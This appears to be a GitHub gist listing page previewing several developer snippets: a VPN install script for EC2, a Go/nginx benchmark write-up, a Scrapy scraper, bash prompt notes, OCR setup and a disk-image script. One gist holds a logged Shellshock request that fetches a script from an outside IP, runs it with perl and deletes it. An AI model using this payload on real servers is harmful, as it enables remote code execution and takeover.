Skip to content

Instantly share code, notes, and snippets.

# Automaticlly install pptpd on Amazon EC2 Amazon Linux
#
# Ripped from http://blog.diahosting.com/linux-tutorial/pptpd/
# pptpd source rpm packing by it's authors
#
# WARNING:
# first ms-dns setting to 172.16.0.23, 172.16.0.23 was showing on my
# /etc/resolv.conf, I'm not sure this is the same on all Amazon AWS zones.
#
# You need to adjust your "Security Groups" which you are using too.
#!/bin/bash
# Modified by Tianyong Tang
#
# Original version's Copyright infomation:
#
####################################################
# #
# This is a Shell-Based tool of l2tp installation #
# Version: 1.2 #

Benchmarking Nginx with Go

There are a lot of ways to serve a Go HTTP application. The best choices depend on each use case. Currently nginx looks to be the standard web server for every new project even though there are other great web servers as well. However, how much is the overhead of serving a Go application behind an nginx server? Do we need some nginx features (vhosts, load balancing, cache, etc) or can you serve directly from Go? If you need nginx, what is the fastest connection mechanism? This are the kind of questions I'm intended to answer here. The purpose of this benchmark is not to tell that Go is faster or slower than nginx. That would be stupid.

So, these are the different settings we are going to compare:

  • Go HTTP standalone (as the control group)
  • Nginx proxy to Go HTTP
  • Nginx fastcgi to Go TCP FastCGI
  • Nginx fastcgi to Go Unix Socket FastCGI

Benchmarking Nginx with Go

There are a lot of ways to serve a Go HTTP application. The best choices depend on each use case. Currently nginx looks to be the standard web server for every new project even though there are other great web servers as well. However, how much is the overhead of serving a Go application behind an nginx server? Do we need some nginx features (vhosts, load balancing, cache, etc) or can you serve directly from Go? If you need nginx, what is the fastest connection mechanism? This are the kind of questions I'm intended to answer here. The purpose of this benchmark is not to tell that Go is faster or slower than nginx. That would be stupid.

So, these are the different settings we are going to compare:

  • Go HTTP standalone (as the control group)
  • Nginx proxy to Go HTTP
  • Nginx fastcgi to Go TCP FastCGI
  • Nginx fastcgi to Go Unix Socket FastCGI
#Using Scrapy with Selenium to scape a rendered page [Updated]
from scrapy.contrib.spiders.init import InitSpider
from scrapy.http import Request, FormRequest
from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
from scrapy.contrib.spiders import CrawlSpider, Rule
from scrapy.spider import BaseSpider
from scrapy.selector import HtmlXPathSelector
from selenium import selenium
@x2c3z4
x2c3z4 / jur
Last active August 29, 2015 14:06
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22
#############################################################################
# current prompt
#############################################################################
# \d – Current date
# \t – Current time
# \h – Host name
# \# – Command number
# \u – User name
# \W – Current working directory (ie: Desktop/)
# \w – Current working directory, full path (ie: /Users/Admin/Desktop)
@x2c3z4
x2c3z4 / ocr.markdown
Last active August 29, 2015 14:11 — forked from henrik/ocr.markdown

Install ImageMagick for image conversion:

brew install imagemagick

Install tesseract for OCR:

brew install tesseract --all-languages

Or install without --all-languages and install them manually as needed.

@x2c3z4
x2c3z4 / workspace.sh
Last active August 29, 2015 14:14 — forked from dixson3/workspace.sh
#!/bin/bash
# where to store the sparse-image
WORKSPACE=~/Documents/workspace.dmg.sparseimage
create() {
hdiutil create -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 60g -volname workspace ${WORKSPACE}
}
detach() {
$ LD_PRELOAD=$PWD/sendmsg.so dig twitter.com @8.8.8.8
;; Warning: Message parser reports malformed message packet. <-- malformed 因为把压缩指针当作域名一部分了
;; Question section mismatch: got twitter.com/RESERVED0/CLASS256
; <<>> DiG 9.9.5-3-Ubuntu <<>> twitter.com @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44722
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1